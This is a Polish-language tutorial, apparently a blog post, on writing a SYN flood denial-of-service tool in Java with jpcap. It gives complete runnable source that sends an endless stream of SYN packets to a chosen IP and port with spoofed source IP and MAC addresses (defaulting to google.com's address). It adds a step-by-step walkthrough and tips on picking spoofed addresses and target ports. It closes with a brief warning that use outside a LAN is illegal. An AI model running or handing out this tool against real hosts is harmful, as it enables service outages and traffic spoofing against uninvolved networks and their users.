Skoro już mamy co trzeba i wszystko działa, to czas zabrać się do pisania kodu. Oczywiście najlepiej go zaprojektować zawczasu. Po krótce atak polega na wysyłaniu dużej liczby pakietów SYN do hosta na otwarty port, ignorując jednocześnie nadchodzące pakiety SYN/ACK. W efekcie na atakowanym hoście powstaje ogromna liczba półotwartych połączeń. W pewnym momencie może dojść do sytuacji gdy:
a) system się zawiesi,
b) system nie będzie w stanie odpowiedzieć na żadne zgłoszenie,

Atak ten jak i sama luka w implementacjach stosu TCP znana jest od lat. Ciekawe i niebezpieczne jest jednak, że domyślnie system Windows nawet w wersji XP nie jest przed nim zabezpieczony. Konieczne jest dokonanie odpowiednich wpisów w rejestrze, lub zastosowanie firewall (nie systemowego!!!). Możliwy jest atak na NetBIOS i SMB, konieczne jest odpowiednie "dopasowanie" do protokołów.

Tak więc cały program można ująć w jedną klasę Main. Dla wygody do programu dodane zostały dwie dodatkowe klasy. SigHand to handler sygnału INT, aby można było przerwać program i na zakończenie podać informacje o ataku, oraz klasa IntVal to pewien odpowiednik klasy Integer. Posiada mniej funkcji, bo nie potrzeba nam ich wiele.

Klasa SigHand:
import sun.misc.Signal;
import sun.misc.SignalHandler;

class SigHand implements SignalHandler
{
private IntVal sentp;

public SigHand(IntVal arg0)
{
this.sentp=arg0;
}

public void handle(Signal arg0)
{
String sent=Integer.toString(sentp.getVal());
System.out.println(\"Packets sent:\"+sent);
System.exit(0);
}
}

Klasa jest prosta, nie trzeba jej opisywać. Mniej spostrzegawczym powiem, że w momencie odebrania sygnału z OS program wywołuje automatycznie metodę handle(Signal arg0). Zadaniem funkcji jest wypisanie na ekran informacji o liczbie wysłanych pakietów i zakończenie aplikacji.

Klasa IntVal:
public class IntVal
{
private int val;

public IntVal()
{

val=0;
}

public IntVal(int arg0)
{
val=arg0;
}

public void setVal(int arg0)
{
val=arg0;
}

public int getVal()
{
return val;
}

public void incVal()
{
val++;
}
}

Znowu mamy do czynienia z prostą klasą. Jest to Java Bean nie dziedziczący z żadnej klasy i nie implementujący żadnego interface'u. Jedyne jego zadanie to przechowanie pojedynczej wartości typu int. Od razu widać, że nie została przygotowana dla programu wielowątkowego.

Atak SYN Flood wymaga wysłania bardzo dużej liczby pakietów. Pomimo to program wielowątkowy wcale nie spełni tutaj swego zadania. Dlaczego tak się dzieje? Procesor może wykonać w tym samym czasie wiele zadań, jednak w pewnym momencie dochodzimy do użycia karty sieciowej i w tym miejscu powracamy do wykonywania sekwencyjnego. Dla naszego programu jest to wąskie gardło. Nie jest fizycznie możliwe wysłanie kilku pakietów na raz. Przygotowanie pojedynczego pakietu trwa wystarczająco krótko, więc całość może zostać wykonana w pętli sekwencyjnie, różnica nie zostanie odczuta.

Dane potrzebne do wykonania ataku:
  • IP źródła,
  • MAC źródła,
  • IP odbiorcy,
  • MAC odbiorcy,
  • otwarty port,
Lista wynika oczywiście z budowy pakietu TCP/IP i Ethernet. Można jednak pozwolić sobie na pewne odstępstwa od tego. Szczególnie jeśli atakowany przez nas host nie znajduje się w naszej sieci lokalnej.

IP może nie być naszym adresem. Najlepiej jednak, aby był zgodny z adresem źródłowym MAC. MAC źródłowy w przypadku użycia adresu IP zewnętrznego powinien być adresem bramy domyślnej (dla hosta w naszej sieci) i naszym adresem dla hosta spoza sieci. Oczywiście można użyć innego i mieć nadzieję, że się uda. IP odbiorcy musi być prawidłowe. Tego się nie przeskoczy. Port może być teoretycznie dowolny, praktycznie warto wybrać program, który z chęcią przyjmuje połączenia z zewnątrz, jak na przykład komunikator. MAC odbiorcy zostawiłem na koniec nie bez powodu. Jeśli odbiorca jest poza naszą siecią podajemy adres bramy domyślnej (swojej), jeśli jest w naszej sieci podajemy dokładny adres odbiorcy. Oba te przypadki można obejść podając adres rozgłoszeniowy, który składa się z samych 1. Heksadecymalnie ma postać: FF:FF:FF:FF:FF:FF.

Klasa Main:
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;

import sun.misc.Signal;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.TCPPacket;


public class Main
{
public static String usage=\"synflood dest_IP dest_port [-opt]\\n\\n\" +

\"\\t-s\\t source IP\\n\" +
\"\\t-m\\t source MAC\\n\" +
\"\\t-M\\t destination MAC\\n\" +
\"\\t-v\\t verbose (more informations)\";

public static final Long sent=new Long(0);

public static void main(String[] args)
{
boolean wsrcIP=false;
boolean wsrcMAC=false;
boolean wdstMAC=false;

boolean verb=false;
boolean err=false;
IntVal sentp=new IntVal(0);
char op=\'0\';
String sIP=\"\";
String sMAC=\"\";

String dMAC=\"\";
JpcapSender sender=null;
jpcap.NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<2)
{
System.out.println(usage);
}
else
{

for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')
{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;

sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':
wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;

case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'v\':
verb=true;
break;

}
}
}
if(err) System.exit(-1);
if (verb) Signal.handle(new Signal(\"INT\"),new SigHand(sentp));
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;

try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}

if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");

}
while(true)
{
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}

//create a TCP packet with specified port numbers, flags, and other parameters

int sprt=(int)(Math.random()*64511)+1024;

TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);

//specify IPv4 header parameters
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


//set the data field of the packet
p.data=(\"\").getBytes();

//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();

//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];

for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);

//set the datalink frame of the packet p as ether

p.datalink=ether;

//send the packet p
sender.sendPacket(p);

sender.close();
sentp.incVal();
try {
Thread.sleep(1);
} catch (InterruptedException e) {}
}

}
}
}

Pozornie kod może wydawać się skomplikowany. Jest jednak na tyle prosty, że byłem w stanie napisać go samodzielnie ;).

Najlepiej zacząć od początku, tak więc:
1. Sprawdzamy opcje z jakimi uruchomiony został program:
if(args.length<2)
{
System.out.println(usage);
}
else
{
for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')

{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;
sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':

wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;

break;
case \'v\':
verb=true;
break;
}
}
}
if(err) System.exit(-1);
}


Przy okazji sprawdzamy, czy adresy IP i MAC są poprawne. Do tego celu na Stringach używamy RegExp'a. Nie będę tych wyrażeń tłumaczył, bo to oddzielny temat. Wyrażenia do takich zastosowań można gotowe znaleźć w sieci w ramach przykładów. Ważne jest, że jeśli podane dane są niepoprawne, to ustawiony jest błąd, skutkujący później zakończeniem programu z kodem -1.

2. Jeśli użyto opcji v, rejestrujemy handler sygnału:
if (verb) Signal.handle(new Signal("INT"),new SigHand(sentp));


3. Ustawiamy dane do ataku:
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;
try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}
if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");
}


Jeśli adres IP źródła nie został podany, pozyskujemy adres google.com i taki ustawiamy.

4. Tworzymy nowy Sender z urządzenia sieciowego pierwszego:
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}


5. Wyznaczamy port źródłowy:

int sprt=(int)(Math.random()*64511)+1024;

Port wyznaczamy losowo. Chyba tylko dla samej metody. Może to jednak nie działać właściwie. Atak na niektóre porty może się nie powieźć z powodu niewłaściwego portu źródłowego.

6. Tworzymy pakiet TCP:
TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);


7. dodajemy nagłówek IPv4:
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


8. Tworzymy ramkę ethernetową:
//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();
//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;


9. konfigurujemy ramkę ethernetową:
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];
for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);


10. Dodajemy ramkę ethernet do pakietu i wysyłamy go po sieci:
//set the datalink frame of the packet p as ether
p.datalink=ether;

//send the packet p
sender.sendPacket(p);

Proponuję każdemu potestować ten atak na sieci lokalnej i poobserwować ruch na sieci. Najlepiej użyć do tego dobrego sniffera takiego jak Wireshark (dawniej Ethereal). Można pobrać go z oficjalnej strony producenta. To darmowe narzędzie zostało użyte do przeprowadzenia testów podczas pisania tego posta.



Atak z konsoli w windows:

Log z Wireshark:

Analizę tego obrazka pozostawiam zainteresowanym.

Testowanie exploita na komputerach spoza sieci lokalnej może zostać uznane za atak. Należy pamiętać, że atak SYN Flood jest bardzo łatwy do wykrycia, a za jego użycie może grozić "odsiadka"!

Grafika pochodzi z wikipedia: Syn Flood